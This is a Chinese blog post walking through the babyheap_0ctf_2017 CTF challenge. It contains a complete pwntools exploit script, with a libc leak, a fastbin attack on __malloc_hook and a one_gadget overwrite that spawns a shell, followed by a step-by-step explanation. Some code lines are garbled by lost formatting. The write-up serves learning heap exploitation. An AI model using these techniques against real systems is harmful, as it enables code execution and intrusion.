Press "Enter" to skip to content

babyheap_0ctf_2017堆溢出解析

166 次浏览

用 checksec 检测发现保护全开

我们无法改写 GOT 表 , 所以我们可以利用 malloc_hook,realloc_hook 等方式劫持
程序流

程序的漏洞出现在 Fill 功能上

这里我们输入 size 之后程序就直接进行写入了 , 没有重新调用 calloc 进行申请内存,
导致任意输入大小的堆溢出


利用思路如下 :
泄露 libc
通过 malloc_hook 劫持控制流执行 one_gadget 获取 shell

exploit:

#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************
# *
# * @file:babyheap_0ctf_2017.py
# * @date:2020-01-30 22:31
# * @version 1.0
# * @description: Python Script
# * @Copyright (c) all right reserved
# *
#*************************************************************************
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')
local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):
if cmd == 0:
sh = process(local_file)
else:
sh = remote(ip, port)
return sh
def cmd(x):
sh.sendlineafter('Command: ',str(x))
def allocate(size):
cmd(1)
sh.sendlineafter('Size: ',str(size))
def fill(index,content):
cmd(2)sh.sendlineafter('Index: ',str(index))
sh.sendlineafter('Size: ',str(len(content)))
sh.sendlineafter('Content: ',content)
def free(index):
cmd(3)
sh.sendlineafter('Index: ',str(index))
def dump(index):
cmd(4)
sh.sendlineafter('Index: ',str(index))
sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图 0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
# 图1
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
# 图2
allocate(0x40)
fill(1,p64(0x91)*4)
# 图3
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
# 图5
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
# 图6
allocate(0x60) #idx2
allocate(0x60) #idx4libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget # 本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()

exploit 解析

基础知识
fastbins 为单链表存储。unsortedbin、smallbins、largebins 都是双向循环
链表存储
并且 free 掉的 chunk,如果大小在 0x20~0x80 之间会直接放到 fastbins 上
去,大于 0x80 的会放到 unsortedbin 上,然后进行整理


泄露 libc
当 small chunk 被释放时,它的 fd 、 bk 指向一个指针,这个指针指向 top chunk
地址,这个指针保存在 main_arena 的 0x58 偏移处,而 main_arena 是 libc 的
data 段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出 libc 的
基地址了 . 所以重点是当 small chunk 释放时,能读出 fd 或者 bk 的值

#先创建好 chunk

allocate(0x10)#chunk0
allocate(0x10)#chunk1
allocate(0x30)#chunk2
allocate(0x40)#chunk3
allocate(0x60)#chunk4

堆情况图 0:

堆溢出覆盖 size
这里因为我们前面申请的大小只有 0x10(16 字节 )
所以这里后面两个 p64(0x51) 将会覆盖到下一个 chunk
所以 chunk1 的 size, 改写成 0x51
fill(0, p64(0x51)4) fill(2, p64(0x31)6)
当 free chunk1 的 size 已经被改写成了 0x51
所以 free 后会分配到 fastbins[0x51] 索引处
就是会把 chunk2 的部分内容也给 free 了
所以 chunk2 会剩下两个 0x31 没有被 free
free(1)

堆情况图 1:

再把 chunk1 申请回来
这里要注意因为题目用的是 calloc 所以重新分配后 content 部分会被清 0
allocate(0x40)
fill(1,p64(0x91)*4)
这样刚刚覆盖掉的部分 chunk2,size 就被改写成了 0x91
堆情况图 2:

因为上面已将把 chunk2 的 size 改成了 0x91, 越界到 chunk4
然后 free 掉 chunk2 就会加入到 small chunk ,所以 fd,bk 会指向
main_arena+0x58 处,之后用 chunk1 就可以读出来了
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,’\x00′))
success(‘get_addr => ‘+hex(addr))
malloc_hook = addr – 0x68
success(‘malloc_hook => ‘+hex(malloc_hook))
堆情况图 3:

free 掉 chunk4 之后加入到 fastbins[0x70] 当中 , 通过 chunk3 的溢出
可以看到 chunk4 的 fd 指针保存的内容是 malloc_hook-0x23,
相当于我们在 malloc_hook 处伪造了一个大小为 0x7f 的 chunk,
也就是 fastbin 链表中 0x70 处的链表
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
堆情况图 4:

下一步我们继续申请 2 个 0x60 的 chunk, 因为 fasbin[0x70] 上链接了三个节点
分别为:chunk4 的起始地址-→malloc_hook-0x23-→malloc_hook-
0x23+0x10
所以首先会从 fastbin[0x70] 链表中取出来第一个节点 , 建立一个总大小为 0x70 的
chunk
第二次则会取链表的第二个节点 , 也就是 malloc_hook-0x23 这个地址作为 chunk
的开始地址
这个 chunk 总大小还是 0x70
allocate(0x60) #chunk2
allocate(0x60) #chunk4
堆情况图 5:

通过本地查看信息计算偏移,得到最后的 payload
libc_addr = malloc_hook-libc.symbols[‘__malloc_hook’]
success(‘libc =’+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = ‘a’*0x13+ one_gadget # 本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()

malloc_hook 改写成功

这里为了看到效果,将one_gadget替换成了字符A

参考链接 :https://blog.csdn.net/qq_39563369/article/details/104127800

发表评论

电子邮件地址不会被公开。 必填项已用*标注